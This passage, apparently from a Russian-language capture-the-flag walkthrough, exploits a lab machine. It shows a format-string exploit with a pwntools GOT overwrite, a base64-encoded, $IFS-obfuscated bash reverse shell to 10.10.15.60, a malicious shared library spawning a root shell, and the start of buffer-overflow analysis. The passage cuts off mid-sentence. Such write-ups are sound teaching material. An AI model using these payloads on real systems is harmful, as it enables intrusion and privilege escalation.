\u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0441\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u043f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0434\u0430\u043d\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_s\/i9\/78\/_si978isulkh-jme2gznkjftp98.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u2014 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f. \u0422\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 parse_request(), \u0444\u0430\u0439\u043b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f, \u0430 \u0432\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430.  <\/p>\n<pre><code class=\"bash\">curl http:\/\/127.0.0.1:9999\/qwerty<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/q9\/xm\/_z\/q9xm_zyx9s78gbl0j8zzuf-mdns.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438.  <\/p>\n<pre><code class=\"bash\">curl http:\/\/127.0.0.1:9999\/$(python -c 'print(&quot;AAAA&quot;+&quot;%25p&quot;*100)')<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cx\/aq\/73\/cxaq731ejafj-dkjyg6kuliy1o0.png\" alt=\"image\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 (\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 %p \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043d\u0446\u0435 \u0432\u044b\u0432\u043e\u0434\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c 0x41414141 \u2014 AAAA).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/2i\/lm\/xr\/2ilmxraso--gzeo2jqfwhwdtvom.png\" alt=\"image\"><\/p>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 53. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u043d\u043e.  <\/p>\n<pre><code class=\"bash\">curl http:\/\/127.0.0.1:9999\/$(python -c 'print(&quot;AAAA&quot;+&quot;%25p&quot;*53)')<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bl\/dm\/mg\/bldmmgl809qsxgxdds44phkyqqi.png\" alt=\"image\"><\/p>\n<p>  \u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0448\u0435\u043b\u043b, \u043d\u043e \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u0438\u043d\u0443\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b:  <\/p>\n<pre><code class=\"bash\">bash -i &gt;&amp; \/dev\/tcp\/10.10.15.60\/4321 0&gt;&amp;1<\/code><\/pre>\n<p>  \u041d\u043e \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0432\u0441\u044f\u043a\u0438\u0445 \u043d\u0435\u0443\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e \u0432 base64, \u0442\u043e\u0433\u0434\u0430 \u0432\u044b\u0437\u043e\u0432 \u0448\u0435\u043b\u043b\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:  <\/p>\n<pre><code class=\"bash\">echo \u201cYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK\u201d | base64 -d | bash -i<\/code><\/pre>\n<p>  \u0418 \u0432 \u0438\u0442\u043e\u0433\u0435 \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u0432\u0441\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e $IFS. \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u043a\u043e\u043d\u043d\u0435\u043a\u0442\u0430.  <\/p>\n<pre><code class=\"bash\">echo$IFS&quot;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK&quot;|base64$IFS-d|bash$IFS-i<\/code><\/pre>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u043e\u043f\u0438\u0448\u0435\u043c \u044d\u0442\u043e \u0432 \u043a\u043e\u0434:  <\/p>\n<pre><code class=\"python\">offset = 53 cmd = 'bash -i &gt;&amp; \/dev\/tcp\/10.10.15.60\/4321 0&gt;&amp;1' shell = 'echo$IFS&quot;{}&quot;|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u043d\u0430\u0448\u0435\u0439 \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u043e\u0441\u043b\u0435 printf() \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f puts, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0435 \u0430\u0434\u0440\u0435\u0441 \u0432 GOT \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system \u0438\u0437 libc. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f pwntools \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043b\u0435\u0433\u043a\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 puts \u043c\u043e\u0436\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e binary.got[\u2018puts\u2019], \u0442\u0430\u043a\u0436\u0435 \u043b\u0435\u0433\u043a\u043e \u0438 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 system: libc.symbols[\u2018system\u2019]. \u041f\u0440\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 GOT \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 \u043f\u0440\u043e pwn, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0448\u044c\u044e pwntools:  <\/p>\n<pre><code class=\"python\">writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])} format_string = fmtstr_payload(offset, writes)<\/code><\/pre>\n<p>  \u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0438\u0442\u043e\u0433\u043e\u0432\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443:  <\/p>\n<pre><code class=\"python\">payload = shell + &quot; \/&quot; + urllib.quote(format_string) + &quot;\\n\\n&quot;<\/code><\/pre>\n<p>  \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c:  <\/p>\n<pre><code class=\"python\">p = remote(host,port) p.send(payload) p.close()<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/j7\/tm\/sa\/j7tmsavnfi1jrlznbhrnylk1j2k.png\" alt=\"image\"><\/p>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0431\u044d\u043a\u043a\u043e\u043d\u043d\u0435\u043a\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/54\/xz\/ko\/54xzkogf-qq9btyjx9frthjmb3q.png\" alt=\"image\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/of\/_v\/ku\/of_vkulfppu97eeudtalu5ivxge.png\" alt=\"image\"><\/p>\n<h2>USER<\/h2>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043d\u0430\u0441\u0442\u043e\u0439\u043a\u0438 sudo \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5q\/ai\/0-\/5qai0-4gkkxtn4o3vz9yk-pdu2o.png\" alt=\"image\"><\/p>\n<p>  \u0418 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c readlogs \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f r4j. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442, GTFOBins \u0442\u043e\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b-\/3i\/-s\/b-3i-sn8hhevvo4ger7j8gaiy7k.png\" alt=\"image\"><\/p>\n<pre><code class=\"bash\">ls -l \/lib\/x86_64-linux-gnu\/ | grep &quot;liblog.so\\|libc.so.6&quot;<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/eb\/4e\/rr\/eb4errgawf8imvy0xmy_hgd-gta.png\" alt=\"image\"><\/p>\n<p>  \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u0441\u0432\u043e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.  <\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;sys\/types.h&gt; #include &lt;stdlib.h&gt;  void printlog(){     setuid(0);     setgid(0);     system(&quot;\/bin\/sh&quot;); }<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0435\u0435.  <\/p>\n<pre><code class=\"bash\">gcc -c -Wall -Werror -fpic liblog.c<\/code><\/pre>\n<p>  \u0418 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.  <\/p>\n<pre><code class=\"bash\">Gcc -shared -o liblog.so liblog.o<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u043d\u0430 \u0445\u043e\u0441\u0442, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bk\/n-\/ci\/bkn-ciaotw1id-emk87tv6anp1k.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0431\u0435\u0440\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<h2>ROOT<\/h2>\n<p>  \u0414\u043b\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c linpeas.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9k\/nd\/-k\/9knd-k9gxwxz8hghzdwn7up8vbu.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u0445\u043e\u0441\u0442\u0435 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f 1337 \u043f\u043e\u0440\u0442. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/dz\/xh\/gs\/dzxhgs3uf6d3jzmvdrfqpg0jsro.png\" alt=\"image\"><\/p>\n<p>  \u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u043d\u0430\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 adm. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0433\u043b\u044f\u043d\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b \u0444\u0430\u0439\u043b\u044b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/39\/jq\/08\/39jq08wmi0lzf8xb5b4hgkrwpay.png\" alt=\"image\"><\/p>\n<p>  \u0415\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b. \u0418 \u044d\u0442\u043e \u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u0447\u0442\u043e \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0440\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/u4\/cf\/up\/u4cfuptixjubaydn3so9vv8iqnu.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bn\/l8\/qn\/bnl8qnuxwllqpudd8mcuzrtchn0.png\" alt=\"image\"><\/p>\n<p>  \u0421\u043a\u0430\u0447\u0430\u0435\u043c \u0441\u0435\u0431\u0435 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 libc. \u0418 \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0430\u043a\u0442\u0438\u0432\u0435\u043d ASLR.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ye\/u2\/91\/yeu291nh107sotdzw9i5hxmyoww.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043a\u0430\u043a\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/lw\/2q\/0t\/lw2q0t15j1qmapfuhy9oppeqkgg.png\" alt=\"image\"><\/p>\n<p>  \u0412\u0441\u0435 \u043f\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0443. \u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0430\u0439\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0431\u0440\u0443\u0442\u0438\u0442\u044c \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0443(\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0431\u0443\u0444\u0435\u0440\u0430), \u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c ROP (\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u044f \u0443\u0436\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043f\u0438\u0441\u0430\u043b <a href=\"https:\/\/habr.com\/ru\/post\/479184\/\">\u0437\u0434\u0435\u0441\u044c<\/a>). \u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u043b\u044e\u0431\u043e\u043c \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u0441 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c (\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e IDA Pro). \u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e main.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/st\/jx\/lo\/stjxlocl4sv3gh_6j8euvybdayq.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438\u043c\u0435\u0440\u043e\u043c \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438 \u0441\u043b\u0443\u0436\u0438\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430 v10, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0437\u0430 \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_1267.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/km\/gi\/aj\/kmgiajki9-zlvdzxxfqaeqt2dn8.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0437\u0434\u0435\u0441\u044c \u043c\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u043f\u043e\u0440\u0442 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u044f. \u041c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0432 is_listen(); \u0438\u0434\u0435\u043c \u0434\u0430\u043b\u0435\u0435. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_14EE.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hn\/mn\/bn\/hnmnbnmswumhkazbc6aysanetbc.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0434 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f. \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/2d\/7k\/fb\/2d7kfbhkjqnz8eidg8i95km_yey.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043e 0x400 \u0431\u0430\u0439\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0431\u0443\u0444\u0435\u0440. \u0412 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 buf \u0443\u043a\u0430\u0437\u0430\u043d \u0430\u0434\u0440\u0435\u0441 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u0430\u0437\u044b \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043a\u0430\u0434\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 (rbp) \u2014 [rbp-40h], \u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f v3 (\u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0430) \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 [rbp-8h], \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0434\u043b\u044f 